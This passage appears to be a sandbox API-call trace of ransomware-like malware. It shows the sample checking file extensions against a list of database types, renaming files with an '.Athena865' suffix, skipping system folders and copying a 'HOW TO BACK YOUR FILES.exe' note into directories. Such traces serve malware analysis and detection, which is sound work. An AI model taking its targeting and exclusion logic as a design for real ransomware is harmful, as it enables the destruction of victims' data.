lpString2="eco") returned 1 [0042.150] lstrlenW (lpString="ecx") returned 3 [0042.150] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0042.150] lstrlenW (lpString="edb") returned 3 [0042.150] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0042.150] lstrlenW (lpString="epim") returned 4 [0042.150] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0042.150] lstrlenW (lpString="fcd") returned 3 [0042.150] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0042.150] lstrlenW (lpString="fdb") returned 3 [0042.150] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0042.151] lstrlenW (lpString="fic") returned 3 [0042.151] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0042.151] lstrlenW (lpString="flexolibrary") returned 12 [0042.151] lstrcmpiW (lpString1="solutely.exe", lpString2="flexolibrary") returned 1 [0042.151] lstrlenW (lpString="fm5") returned 3 [0042.151] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0042.151] lstrlenW (lpString="fmp") returned 3 [0042.151] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0042.151] lstrlenW (lpString="fmp12") returned 5 [0042.151] lstrcmpiW (lpString1="y.exe", lpString2="fmp12") returned 1 [0042.151] lstrlenW (lpString="fmpsl") returned 5 [0042.151] lstrcmpiW (lpString1="y.exe", lpString2="fmpsl") returned 1 [0042.151] lstrlenW (lpString="fol") returned 3 [0042.151] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0042.151] lstrlenW (lpString="fp3") returned 3 [0042.151] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0042.151] lstrlenW (lpString="fp4") returned 3 [0042.151] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0042.151] lstrlenW (lpString="fp5") returned 3 [0042.151] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0042.151] lstrlenW (lpString="fp7") returned 3 [0042.151] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0042.151] lstrlenW (lpString="fpt") returned 3 [0042.151] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0042.151] lstrlenW (lpString="frm") returned 3 [0042.151] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0042.151] lstrlenW (lpString="gdb") returned 3 [0042.151] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0042.151] lstrlenW (lpString="gdb") returned 3 [0042.151] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0042.151] lstrlenW (lpString="grdb") returned 4 [0042.151] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0042.151] lstrlenW (lpString="gwi") returned 3 [0042.151] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0042.151] lstrlenW (lpString="hdb") returned 3 [0042.151] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0042.151] lstrlenW (lpString="his") returned 3 [0042.152] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0042.152] lstrlenW (lpString="ib") returned 2 [0042.152] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0042.152] lstrlenW (lpString="idb") returned 3 [0042.152] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0042.152] lstrlenW (lpString="ihx") returned 3 [0042.152] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0042.152] lstrlenW (lpString="itdb") returned 4 [0042.152] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0042.152] lstrlenW (lpString="itw") returned 3 [0042.152] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0042.152] lstrlenW (lpString="jet") returned 3 [0042.152] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0042.152] lstrlenW (lpString="jtx") returned 3 [0042.152] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0042.152] lstrlenW (lpString="kdb") returned 3 [0042.152] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0042.152] lstrlenW (lpString="kexi") returned 4 [0042.152] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0042.152] lstrlenW (lpString="kexic") returned 5 [0042.152] lstrcmpiW (lpString1="y.exe", lpString2="kexic") returned 1 [0042.152] lstrlenW (lpString="kexis") returned 5 [0042.152] lstrcmpiW (lpString1="y.exe", lpString2="kexis") returned 1 [0042.152] lstrlenW (lpString="lgc") returned 3 [0042.152] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0042.152] lstrlenW (lpString="lwx") returned 3 [0042.152] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0042.152] lstrlenW (lpString="maf") returned 3 [0042.152] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0042.152] lstrlenW (lpString="maq") returned 3 [0042.152] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0042.152] lstrlenW (lpString="mar") returned 3 [0042.152] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0042.152] lstrlenW (lpString="marshal") returned 7 [0042.152] lstrcmpiW (lpString1="ely.exe", lpString2="marshal") returned -1 [0042.152] lstrlenW (lpString="mas") returned 3 [0042.152] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0042.153] lstrlenW (lpString="mav") returned 3 [0042.153] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0042.153] lstrlenW (lpString="maw") returned 3 [0042.153] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0042.153] lstrlenW (lpString="mdbhtml") returned 7 [0042.153] lstrcmpiW (lpString1="ely.exe", lpString2="mdbhtml") returned -1 [0042.153] lstrlenW (lpString="mdn") returned 3 [0042.153] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0042.153] lstrlenW (lpString="mdt") returned 3 [0042.153] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0042.153] lstrlenW (lpString="mfd") returned 3 [0042.153] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0042.153] lstrlenW (lpString="mpd") returned 3 [0042.153] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0042.153] lstrlenW (lpString="mrg") returned 3 [0042.153] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0042.153] lstrlenW (lpString="mud") returned 3 [0042.153] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0042.153] lstrlenW (lpString="mwb") returned 3 [0042.153] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0042.153] lstrlenW (lpString="myd") returned 3 [0042.153] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0042.153] lstrlenW (lpString="ndf") returned 3 [0042.153] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0042.153] lstrlenW (lpString="nnt") returned 3 [0042.153] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0042.153] lstrlenW (lpString="nrmlib") returned 6 [0042.153] lstrcmpiW (lpString1="ly.exe", lpString2="nrmlib") returned -1 [0042.153] lstrlenW (lpString="ns2") returned 3 [0042.153] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0042.153] lstrlenW (lpString="ns3") returned 3 [0042.153] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0042.153] lstrlenW (lpString="ns4") returned 3 [0042.153] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0042.153] lstrlenW (lpString="nsf") returned 3 [0042.153] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0042.153] lstrlenW (lpString="nv") returned 2 [0042.154] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0042.154] lstrlenW (lpString="nv2") returned 3 [0042.154] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0042.154] lstrlenW (lpString="nwdb") returned 4 [0042.154] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0042.154] lstrlenW (lpString="nyf") returned 3 [0042.154] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0042.154] lstrlenW (lpString="odb") returned 3 [0042.154] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0042.154] lstrlenW (lpString="odb") returned 3 [0042.154] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0042.154] lstrlenW (lpString="oqy") returned 3 [0042.154] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0042.154] lstrlenW (lpString="ora") returned 3 [0042.154] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0042.154] lstrlenW (lpString="orx") returned 3 [0042.154] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0042.154] lstrlenW (lpString="owc") returned 3 [0042.154] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0042.154] lstrlenW (lpString="p96") returned 3 [0042.154] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0042.154] lstrlenW (lpString="p97") returned 3 [0042.154] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0042.154] lstrlenW (lpString="pan") returned 3 [0042.154] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0042.154] lstrlenW (lpString="pdb") returned 3 [0042.154] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0042.154] lstrlenW (lpString="pdm") returned 3 [0042.154] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0042.154] lstrlenW (lpString="pnz") returned 3 [0042.154] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0042.154] lstrlenW (lpString="qry") returned 3 [0042.154] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0042.154] lstrlenW (lpString="qvd") returned 3 [0042.154] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0042.154] lstrlenW (lpString="rbf") returned 3 [0042.155] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0042.155] lstrlenW (lpString="rctd") returned 4 [0042.155] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0042.155] lstrlenW (lpString="rod") returned 3 [0042.155] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0042.155] lstrlenW (lpString="rodx") returned 4 [0042.155] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0042.155] lstrlenW (lpString="rpd") returned 3 [0042.155] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0042.155] lstrlenW (lpString="rsd") returned 3 [0042.155] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0042.155] lstrlenW (lpString="sas7bdat") returned 8 [0042.155] lstrcmpiW (lpString1="tely.exe", lpString2="sas7bdat") returned 1 [0042.155] lstrlenW (lpString="sbf") returned 3 [0042.155] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0042.155] lstrlenW (lpString="scx") returned 3 [0042.155] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0042.155] lstrlenW (lpString="sdb") returned 3 [0042.155] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0042.155] lstrlenW (lpString="sdc") returned 3 [0042.155] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0042.155] lstrlenW (lpString="sdf") returned 3 [0042.155] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0042.155] lstrlenW (lpString="sis") returned 3 [0042.155] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0042.155] lstrlenW (lpString="spq") returned 3 [0042.155] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0042.155] lstrlenW (lpString="te") returned 2 [0042.155] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0042.155] lstrlenW (lpString="teacher") returned 7 [0042.155] lstrcmpiW (lpString1="ely.exe", lpString2="teacher") returned -1 [0042.155] lstrlenW (lpString="tmd") returned 3 [0042.155] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0042.155] lstrlenW (lpString="tps") returned 3 [0042.155] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0042.155] lstrlenW (lpString="trc") returned 3 [0042.155] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0042.156] lstrlenW (lpString="trc") returned 3 [0042.156] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0042.156] lstrlenW (lpString="trm") returned 3 [0042.156] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0042.156] lstrlenW (lpString="udb") returned 3 [0042.156] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0042.156] lstrlenW (lpString="udl") returned 3 [0042.156] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0042.156] lstrlenW (lpString="usr") returned 3 [0042.156] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0042.156] lstrlenW (lpString="v12") returned 3 [0042.156] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0042.156] lstrlenW (lpString="vis") returned 3 [0042.156] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0042.156] lstrlenW (lpString="vpd") returned 3 [0042.156] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0042.156] lstrlenW (lpString="vvv") returned 3 [0042.156] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0042.156] lstrlenW (lpString="wdb") returned 3 [0042.156] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0042.156] lstrlenW (lpString="wmdb") returned 4 [0042.156] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0042.156] lstrlenW (lpString="wrk") returned 3 [0042.156] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0042.156] lstrlenW (lpString="xdb") returned 3 [0042.156] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0042.156] lstrlenW (lpString="xld") returned 3 [0042.156] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0042.156] lstrlenW (lpString="xmlff") returned 5 [0042.156] lstrcmpiW (lpString1="y.exe", lpString2="xmlff") returned 1 [0042.156] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Google\\absolutely.exe.Athena865") returned 54 [0042.156] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\absolutely.exe" (normalized: "c:\\program files (x86)\\google\\absolutely.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\absolutely.exe.Athena865" (normalized: "c:\\program files (x86)\\google\\absolutely.exe.athena865"), dwFlags=0x1) returned 1 [0042.157] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\absolutely.exe.Athena865" (normalized: "c:\\program files (x86)\\google\\absolutely.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0042.157] GetLastError () returned 0x20 [0042.157] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Google\\absolutely.exe CreateFile error 32\r\n") returned 74 [0042.157] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Google\\absolutely.exe CreateFile error 32\r\n") returned 74 [0042.157] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0042.157] SetFilePointer (in: hFile=0x17c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x183f [0042.157] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x4a, lpOverlapped=0x0) returned 1 [0042.157] CloseHandle (hObject=0x17c) returned 1 [0042.158] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\absolutely.exe.Athena865" (normalized: "c:\\program files (x86)\\google\\absolutely.exe.athena865"), lpNewFileName="C:\\Program Files (x86)\\Google\\absolutely.exe" (normalized: "c:\\program files (x86)\\google\\absolutely.exe"), dwFlags=0x1) returned 1 [0042.159] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0042.159] CloseHandle (hObject=0x0) returned 0 [0042.159] CloseHandle (hObject=0xffffffff) returned 0 [0042.159] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0042.159] lstrcmpiW (lpString1="Chrome", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.159] lstrcmpiW (lpString1="Chrome", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.159] lstrcmpiW (lpString1="Chrome", lpString2=".") returned 1 [0042.159] lstrcmpiW (lpString1="Chrome", lpString2="..") returned 1 [0042.159] lstrcmpiW (lpString1="Chrome", lpString2="windows") returned -1 [0042.159] lstrcmpiW (lpString1="Chrome", lpString2="bootmgr") returned 1 [0042.159] lstrcmpiW (lpString1="Chrome", lpString2="temp") returned -1 [0042.159] lstrcmpiW (lpString1="Chrome", lpString2="pagefile.sys") returned -1 [0042.159] lstrcmpiW (lpString1="Chrome", lpString2="boot") returned 1 [0042.159] lstrcmpiW (lpString1="Chrome", lpString2="ids.txt") returned -1 [0042.159] lstrcmpiW (lpString1="Chrome", lpString2="ntuser.dat") returned -1 [0042.159] lstrcmpiW (lpString1="Chrome", lpString2="perflogs") returned -1 [0042.159] lstrcmpiW (lpString1="Chrome", lpString2="MSBuild") returned -1 [0042.159] lstrlenW (lpString="Chrome") returned 6 [0042.159] lstrcpyW (in: lpString1=0x241e884, lpString2="Chrome" | out: lpString1="Chrome") returned="Chrome" [0042.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c548 [0042.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4a) returned 0x516268 [0042.159] lstrcatW (in: lpString1="Chrome", lpString2="\\" | out: lpString1="Chrome\\") returned="Chrome\\" [0042.159] lstrcatW (in: lpString1="Chrome\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Chrome\\HOW TO BACK YOUR FILES.exe") returned="Chrome\\HOW TO BACK YOUR FILES.exe" [0042.159] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.163] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0042.163] lstrcmpiW (lpString1="CrashReports", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.163] lstrcmpiW (lpString1="CrashReports", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.163] lstrcmpiW (lpString1="CrashReports", lpString2=".") returned 1 [0042.163] lstrcmpiW (lpString1="CrashReports", lpString2="..") returned 1 [0042.163] lstrcmpiW (lpString1="CrashReports", lpString2="windows") returned -1 [0042.163] lstrcmpiW (lpString1="CrashReports", lpString2="bootmgr") returned 1 [0042.163] lstrcmpiW (lpString1="CrashReports", lpString2="temp") returned -1 [0042.163] lstrcmpiW (lpString1="CrashReports", lpString2="pagefile.sys") returned -1 [0042.163] lstrcmpiW (lpString1="CrashReports", lpString2="boot") returned 1 [0042.163] lstrcmpiW (lpString1="CrashReports", lpString2="ids.txt") returned -1 [0042.163] lstrcmpiW (lpString1="CrashReports", lpString2="ntuser.dat") returned -1 [0042.163] lstrcmpiW (lpString1="CrashReports", lpString2="perflogs") returned -1 [0042.163] lstrcmpiW (lpString1="CrashReports", lpString2="MSBuild") returned -1 [0042.164] lstrlenW (lpString="CrashReports") returned 12 [0042.164] lstrcpyW (in: lpString1=0x241e884, lpString2="CrashReports" | out: lpString1="CrashReports") returned="CrashReports" [0042.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f8c8 [0042.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x52f9e0 [0042.164] lstrcatW (in: lpString1="CrashReports", lpString2="\\" | out: lpString1="CrashReports\\") returned="CrashReports\\" [0042.164] lstrcatW (in: lpString1="CrashReports\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CrashReports\\HOW TO BACK YOUR FILES.exe") returned="CrashReports\\HOW TO BACK YOUR FILES.exe" [0042.164] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\CrashReports\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\crashreports\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.166] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4fe560, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc4fe560, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0042.166] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0042.166] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4fe560, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc4fe560, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0042.166] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0042.166] ReleaseMutex (hMutex=0xec) returned 1 [0042.166] CloseHandle (hObject=0xec) returned 1 [0042.166] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Internet Explorer" | out: lpString1="C:\\Program Files (x86)\\Internet Explorer") returned="C:\\Program Files (x86)\\Internet Explorer" [0042.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d5b8 | out: hHeap=0x4f0000) returned 1 [0042.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c560 | out: hHeap=0x4f0000) returned 1 [0042.167] lstrlenW (lpString="C:\\Program Files (x86)\\Internet Explorer") returned 40 [0042.167] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E8FA07B4CA14856821C42CADE73D96E5") returned 0xec [0042.167] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0042.167] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Internet Explorer" | out: lpString1="C:\\Program Files (x86)\\Internet Explorer") returned="C:\\Program Files (x86)\\Internet Explorer" [0042.167] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0042.167] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 0 [0042.167] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\internet explorer\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0042.167] GetLastError () returned 0x0 [0042.167] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0042.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x530908 [0042.167] ReadFile (in: hFile=0xf4, lpBuffer=0x530908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x530908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0042.168] CloseHandle (hObject=0xf4) returned 1 [0042.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530908 | out: hHeap=0x4f0000) returned 1 [0042.168] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0042.168] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc4fe560, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc4fe560, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0042.168] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.168] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.168] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0042.168] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc4fe560, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc4fe560, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.169] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.169] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.169] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0042.169] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0042.169] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0042.169] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.169] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.169] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0042.169] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0042.169] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0042.169] 